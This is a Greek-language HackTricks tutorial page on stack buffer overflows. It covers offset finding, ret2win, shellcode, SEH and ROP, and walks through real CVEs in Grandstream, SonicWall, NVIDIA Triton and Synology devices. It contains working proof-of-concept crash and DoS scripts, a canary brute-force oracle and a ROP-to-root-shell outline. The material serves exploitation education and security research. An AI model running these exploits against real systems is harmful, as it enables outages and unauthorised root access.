Υπερχείλιση στοίβας
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Τι είναι μια υπερχείλιση στοίβας
Μια υπερχείλιση στοίβας είναι μια ευπάθεια που συμβαίνει όταν ένα πρόγραμμα γράφει περισσότερα δεδομένα στη στοίβα από όσα του έχουν εκχωρηθεί για να αποθηκεύσει. Αυτά τα επιπλέον δεδομένα θα επαναγράψουν γειτονική περιοχή μνήμης, οδηγώντας σε καταστροφή έγκυρων δεδομένων, διακοπή της ροής ελέγχου και ενδεχομένως στην εκτέλεση κακόβουλου κώδικα. Το ζήτημα αυτό συχνά προκύπτει λόγω της χρήσης μη ασφαλών συναρτήσεων που δεν ελέγχουν τα όρια της εισόδου.
Το κύριο πρόβλημα αυτής της επαναγραφής είναι ότι ο αποθηκευμένος δείκτης εντολής (EIP/RIP) και ο αποθηκευμένος δείκτης βάσης (EBP/RBP) για την επιστροφή στην προηγούμενη συνάρτηση αποθηκεύονται στη στοίβα. Επομένως, ένας επιτιθέμενος θα μπορεί να τους επαναγράψει και να ελέγξει τη ροή εκτέλεσης του προγράμματος.
Η ευπάθεια συνήθως προκύπτει επειδή μια συνάρτηση αντιγράφει στη στοίβα περισσότερα bytes από τα εκχωρημένα για αυτή, επιτρέποντας έτσι την υπερχείλιση άλλων τμημάτων της στοίβας.
Μερικές κοινές συναρτήσεις που είναι ευάλωτες σε αυτό είναι: strcpy, strcat, sprintf, gets… Επίσης, συναρτήσεις όπως fgets, read & memcpy που παίρνουν ένα όρισμα μήκους, μπορεί να χρησιμοποιηθούν με ευάλωτο τρόπο αν το καθορισμένο μήκος είναι μεγαλύτερο από το εκχωρημένο.
Για παράδειγμα, οι παρακάτω συναρτήσεις μπορεί να είναι ευάλωτες:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Εύρεση Stack Overflows offsets
Ο πιο κοινός τρόπος για να βρεις stack overflows είναι να δώσεις ένα πολύ μεγάλο input από As (π.χ. python3 -c 'print("A"*1000)') και να περιμένεις ένα Segmentation Fault που υποδεικνύει ότι η διεύθυνση 0x41414141 προσπάθησε να προσεγγιστεί.
Επιπλέον, μόλις βρεις ότι υπάρχει Stack Overflow vulnerability θα χρειαστεί να βρεις το offset μέχρι να είναι δυνατό να overwrite the return address, για αυτό συνήθως χρησιμοποιείται μια De Bruijn sequence. Η οποία για ένα δεδομένο alphabet μεγέθους k και υποακολουθίες μήκους n είναι μια κυκλική ακολουθία στην οποία κάθε πιθανή υποακολουθία μήκους n εμφανίζεται ακριβώς μία φορά ως συνεχόμενη υποακολουθία.
Με αυτόν τον τρόπο, αντί να χρειάζεται να βρεις με το χέρι ποιο offset είναι απαραίτητο για να ελέγξεις το EIP, είναι δυνατόν να χρησιμοποιήσεις ως padding μία από αυτές τις ακολουθίες και μετά να βρεις το offset των bytes που τελικά το αντικατέστησαν.
Είναι δυνατό να χρησιμοποιήσεις pwntools για αυτό:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
ή GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Exploiting Stack Overflows
Κατά τη διάρκεια ενός overflow (υποθέτοντας ότι το μέγεθος του overflow είναι αρκετά μεγάλο) θα μπορείτε να overwrite τιμές τοπικών μεταβλητών μέσα στο stack μέχρι να φτάσετε τους αποθηκευμένους EBP/RBP and EIP/RIP (or even more).
Ο πιο κοινός τρόπος εκμετάλλευσης αυτού του είδους ευπάθειας είναι με το modifying the return address ώστε όταν η συνάρτηση τελειώσει η control flow will be redirected wherever the user specified σε αυτόν τον pointer.
Ωστόσο, σε άλλα σενάρια ίσως αρκεί απλώς το overwriting some variables values in the stack για την εκμετάλλευση (π.χ. σε εύκολα CTF challenges).
Ret2win
Σε αυτόν τον τύπο CTF challenges, υπάρχει μια function inside το binary που είναι never called και που you need to call in order to win. Για αυτά τα challenges χρειάζεται μόνο να βρείτε το offset to overwrite the return address και να find the address of the function που θα καλέσετε (usually ASLR would be disabled) ώστε όταν η vulnerable function επιστρέψει, η κρυφή function να κληθεί:
Stack Shellcode
Σε αυτό το σενάριο ο attacker μπορεί να τοποθετήσει shellcode στο stack και να εκμεταλλευτεί το ελεγχόμενο EIP/RIP για να πηδήξει στο shellcode και να εκτελέσει arbitrary code:
Windows SEH-based exploitation (nSEH/SEH)
Σε 32-bit Windows, ένα overflow μπορεί να overwrite την Structured Exception Handler (SEH) chain αντί της saved return address. Η εκμετάλλευση συνήθως αντικαθιστά τον SEH pointer με ένα POP POP RET gadget και χρησιμοποιεί το 4-byte nSEH πεδίο για ένα short jump που κάνει pivot πίσω στο μεγάλο buffer όπου κατοικεί το shellcode. Ένα κοινό μοτίβο είναι ένα short jmp στο nSEH που προσγειώνεται σε ένα 5-byte near jmp τοποθετημένο ακριβώς πριν το nSEH για να πηδήξει εκατοντάδες bytes πίσω στην αρχή του payload.
ROP & Ret2… techniques
Αυτή η τεχνική είναι το βασικό πλαίσιο για να παρακαμφθεί η κύρια προστασία στην προηγούμενη τεχνική: No executable stack (NX). Επιπλέον επιτρέπει την υλοποίηση πολλών άλλων τεχνικών (ret2lib, ret2syscall…) που τελικά θα εκτελέσουν arbitrary commands εκμεταλλευόμενες υπάρχουσες εντολές στο binary:
Heap Overflows
Ένα overflow δεν θα βρίσκεται πάντα στο stack, μπορεί επίσης να είναι στο heap, για παράδειγμα:
Τύποι προστασιών
Υπάρχουν διάφορες προστασίες που προσπαθούν να εμποδίσουν την εκμετάλλευση ευπαθειών — δείτε τις στο:
Common Binary Exploitation Protections & Bypasses
Real-World Example: CVE-2026-2329 (Grandstream GXP1600 unauthenticated HTTP stack overflow)
/app/bin/gs_web(32-bit ARM) exposes/cgi-bin/api.values.geton TCP/80 with no authentication. Η παράμετρος POSTrequestείναι colon-delimited· κάθε χαρακτήρας αντιγράφεται στοchar small_buffer[64]και το token είναι NUL-terminated στο:ή το τέλος, without any length check, επιτρέποντας σε ένα υπερμεγέθες token να καταστρέψει τους αποθηκευμένους registers/return address.- PoC overflow (κράσάρει και εμφανίζει δεδομένα του attacker στους registers):
curl -ik http://<target>/cgi-bin/api.values.get --data "request=$(python3 - <<'PY'\nprint('A'*256)\nPY)". - Delimiter-driven multi-NUL placement: κάθε colon επανεκκινεί το parsing και προσθέτει ένα trailing NUL. Χρησιμοποιώντας πολλαπλά overlong identifiers, ο τερματιστής κάθε token μπορεί να ευθυγραμμιστεί σε διαφορετικό offset στο corrupted frame, επιτρέποντας στον attacker να τοποθετήσει several
0x00bytes παρόλο που κάθε overflow κανονικά προσθέτει μόνο ένα. Αυτό είναι κρίσιμο επειδή το non-PIE binary είναι mapped στο0x00008000, οπότε οι διευθύνσεις ROP gadget ενσωματώνουν NUL bytes. - Παράδειγμα colon payload για να τοποθετήσετε πέντε NULs σε επιλεγμένα offsets (μήκη προσαρμοσμένα ανά stack layout):
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE checksecδείχνει NX enabled, no canary, no PIE. Η εκμετάλλευση χρησιμοποιεί μια ROP chain χτισμένη από fixed addresses (π.χ., callsystem()thenexit()), τοποθετώντας arguments αφού φυτευτούν τα απαιτούμενα NUL bytes με το delimiter trick.
Real-World Example: CVE-2025-40596 (SonicWall SMA100)
Μια καλή επίδειξη του γιατί sscanf should never be trusted for parsing untrusted input εμφανίστηκε το 2025 στην SonicWall’s SMA100 SSL-VPN appliance. Η ευπαθής ρουτίνα μέσα στο /usr/src/EasyAccess/bin/httpd επιχειρεί να εξάγει την έκδοση και το endpoint από οποιοδήποτε URI που αρχίζει με /__api__/:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- Η πρώτη μετατροπή (
%2s) αποθηκεύει με ασφάλεια δύο bytes στοversion(π.χ."v1"). - Η δεύτερη μετατροπή (
%s) δεν έχει προσδιοριστή μήκους, επομένωςsscanfθα συνεχίσει να αντιγράφει μέχρι το πρώτο NUL byte. - Επειδή το
endpointβρίσκεται στο stack και είναι μήκους 0x800 bytes, η παροχή ενός path μεγαλύτερου από 0x800 bytes καταστρέφει τα πάντα που βρίσκονται μετά το buffer ‑ συμπεριλαμβανομένου του stack canary και της saved return address.
Ένα single-line proof-of-concept αρκεί για να προκαλέσει το crash πριν την authentication:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Παρόλο που τα stack canaries τερματίζουν τη διεργασία, ο επιτιθέμενος εξακολουθεί να αποκτά ένα Denial-of-Service primitive (και, με επιπλέον information leaks, ενδεχομένως code-execution).
Πραγματικό Παράδειγμα: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
Ο Triton Inference Server της NVIDIA (≤ v25.06) περιείχε πολλαπλά stack-based overflows προσβάσιμα μέσω του HTTP API.
Το ευάλωτο μοτίβο εμφανιζόταν επανειλημμένα σε http_server.cc και sagemaker_server.cc:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek(libevent) επιστρέφει τον αριθμό των internal buffer segments που συνθέτουν το τρέχον HTTP request body.- Κάθε segment προκαλεί την κατανομή ενός 16-byte
evbuffer_iovecστην stack μέσωalloca()– χωρίς κανένα ανώτατο όριο. - Κακοποιώντας το HTTP chunked transfer-encoding, ένας client μπορεί να αναγκάσει το request να χωριστεί σε hundreds-of-thousands of 6-byte chunks (
"1\r\nA\r\n"). Αυτό κάνει τοnνα αυξάνεται χωρίς όριο μέχρι να εξαντληθεί η stack.
Απόδειξη ιδέας (DoS)
Chunked DoS PoC
```python #!/usr/bin/env python3 import socket, sysdef exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()
if name == “main”: exploit(*sys.argv[1:])
</details>
Ένα ~3 MB request αρκεί για να overwrite τη saved return address και να **crash** το daemon σε default build.
### Πραγματικό Παράδειγμα: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)
Η αλυσίδα Pwn2Own 2025 της Synacktiv εκμεταλλεύτηκε ένα pre-auth overflow στο `SYNO.BEE.AdminCenter.Auth` στην πόρτα 5000. Η `AuthManagerImpl::ParseAuthInfo` Base64-decodes την είσοδο του attacker σε έναν 4096-byte stack buffer αλλά θέτει λανθασμένα `decoded_len = auth_info->len`. Επειδή ο CGI worker forkάρει ανά request, κάθε child κληρονομεί το parent’s stack canary, οπότε ένα σταθερό overflow primitive είναι αρκετό για να both corrupt the stack and leak all required secrets.
#### Base64-decoded JSON ως structured overflow
Το decoded blob πρέπει να είναι έγκυρο JSON και να περιέχει τα κλειδιά `"state"` και `"code"`· διαφορετικά, ο parser πετάει πριν το overflow γίνει χρήσιμο. Η Synacktiv το έλυσε Base64-encoding ένα payload που decodes σε JSON, μετά ένα NUL byte, και έπειτα το overflow stream. `strlen(decoded)` σταματάει στο NUL οπότε το parsing επιτυγχάνει, αλλά η `SLIBCBase64Decode` είχε ήδη overwritten το stack πέρα από το JSON object, καλύπτοντας the canary, saved RBP, and return address.
```python
pld = b'{"code":"","state":""}\x00' # JSON accepted by Json::Reader
pld += b"A"*4081 # reach the canary slot
pld += marker_bytes # guessed canary / pointer data
send_request(pld)
Crash-oracle bruteforcing of canaries & pointers
synoscgi διακλαδίζεται (forks) μία φορά για κάθε HTTP αίτημα, οπότε όλες οι child διεργασίες μοιράζονται το ίδιο canary, τη διάταξη της στοίβας και το PIE slide. Το exploit αντιμετωπίζει τον HTTP status code ως oracle: μια 200 απάντηση σημαίνει ότι το μαντευμένο byte διατήρησε τη στοίβα, ενώ 502 (ή μια αποσύνδεση) σημαίνει ότι η διεργασία κατέρρευσε. Brute-forcing κάθε byte σειριακά ανακτά το 8-byte canary, έναν αποθηκευμένο δείκτη στοίβας και μια διεύθυνση επιστροφής μέσα στο libsynobeeadmincenter.so:
def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")
bf_next_ptr απλώς καλεί bf_next_byte οκτώ φορές ενώ προσθέτει το επιβεβαιωμένο prefix. Η Synacktiv παράλληλεψε αυτά τα oracles με ~16 worker threads, μειώνοντας το συνολικό leak time (canary + stack ptr + lib base) σε κάτω από τρία λεπτά.
Από τα leaks στο ROP & execution
Μόλις γίνει γνωστή η βάση της βιβλιοθήκης, κοινά gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) φτιάχνουν ένα primitive arb_write που τοποθετεί /bin/bash, -c και την εντολή του επιτιθέμενου στη leaked stack διεύθυνση. Τέλος, η αλυσίδα ρυθμίζει την calling convention για το SLIBCExecl (a BeeStation wrapper around execl(2)), αποδίδοντας ένα root shell χωρίς να χρειάζεται ξεχωριστό info-leak bug.
References
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- Synacktiv – Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey
- Rapid7 – CVE-2026-2329 unauthenticated stack overflow in Grandstream GXP1600
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


